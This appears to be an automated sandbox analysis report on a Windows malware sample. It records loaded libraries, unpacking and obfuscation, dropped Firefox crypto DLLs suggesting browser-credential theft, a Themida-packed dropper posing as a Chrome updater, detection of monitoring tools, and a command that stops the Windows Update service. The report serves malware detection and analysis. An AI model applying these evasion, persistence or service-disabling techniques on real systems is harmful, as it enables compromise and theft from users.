Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wersvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windowsperformancerecordercontrol.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: weretw.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: faultrep.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbgcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wlidsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: clipc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gamestreamingext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msauserext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: tbs.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptngc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptprov.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elscore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elstrans.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\ProgramData\Google\Chrome\updater.exe Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: Binary string: mozglue.pdbP source: 3WffcqLN3q.exe, 00000000.00000002.2634778914.000000006C6ED000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: nss3.pdb@ source: 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: HIJEGDBGDB.exe, 00000005.00000002.2444448419.00007FF6B00A6000.00000040.00000001.01000000.00000009.sdmp, updater.exe, 0000002A.00000002.2464718352.00007FF6768A6000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: HIJEGDBGDB.exe, 00000005.00000002.2444448419.00007FF6B00A6000.00000040.00000001.01000000.00000009.sdmp, updater.exe, 0000002A.00000002.2464718352.00007FF6768A6000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: nss3.pdb source: 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: mozglue.pdb source: 3WffcqLN3q.exe, 00000000.00000002.2634778914.000000006C6ED000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Unpacked PE file: 0.2.3WffcqLN3q.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Unpacked PE file: 0.2.3WffcqLN3q.exe.400000.0.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .boot
PE file contains sections with non-standard names
Source: msvcp140.dll.0.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr Static PE information: section name: .didat
Source: nss3.dll.0.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr Static PE information: section name: .00cfg
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name: .imports
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name: .themida
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name: .boot
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name: .imports
Source: updater.exe.5.dr Static PE information: section name: .themida
Source: updater.exe.5.dr Static PE information: section name: .boot
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0041B035 push ecx; ret 0_2_0041B048
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6AB536 push ecx; ret 0_2_6C6AB549
Source: 3WffcqLN3q.exe Static PE information: section name: .text entropy: 7.488805587263295
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name: entropy: 7.96908005213028
Source: updater.exe.5.dr Static PE information: section name: entropy: 7.96908005213028
Drops PE files
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\ProgramData\HIJEGDBGDB.exe File created: C:\ProgramData\Google\Chrome\updater.exe Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\HIJEGDBGDB.exe Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\ProgramData\HIJEGDBGDB.exe File created: C:\ProgramData\Google\Chrome\updater.exe Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\HIJEGDBGDB.exe Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe Window searched: window name: RegmonClass
Source: C:\ProgramData\Google\Chrome\updater.exe Window searched: window name: FilemonClass
Source: C:\ProgramData\Google\Chrome\updater.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
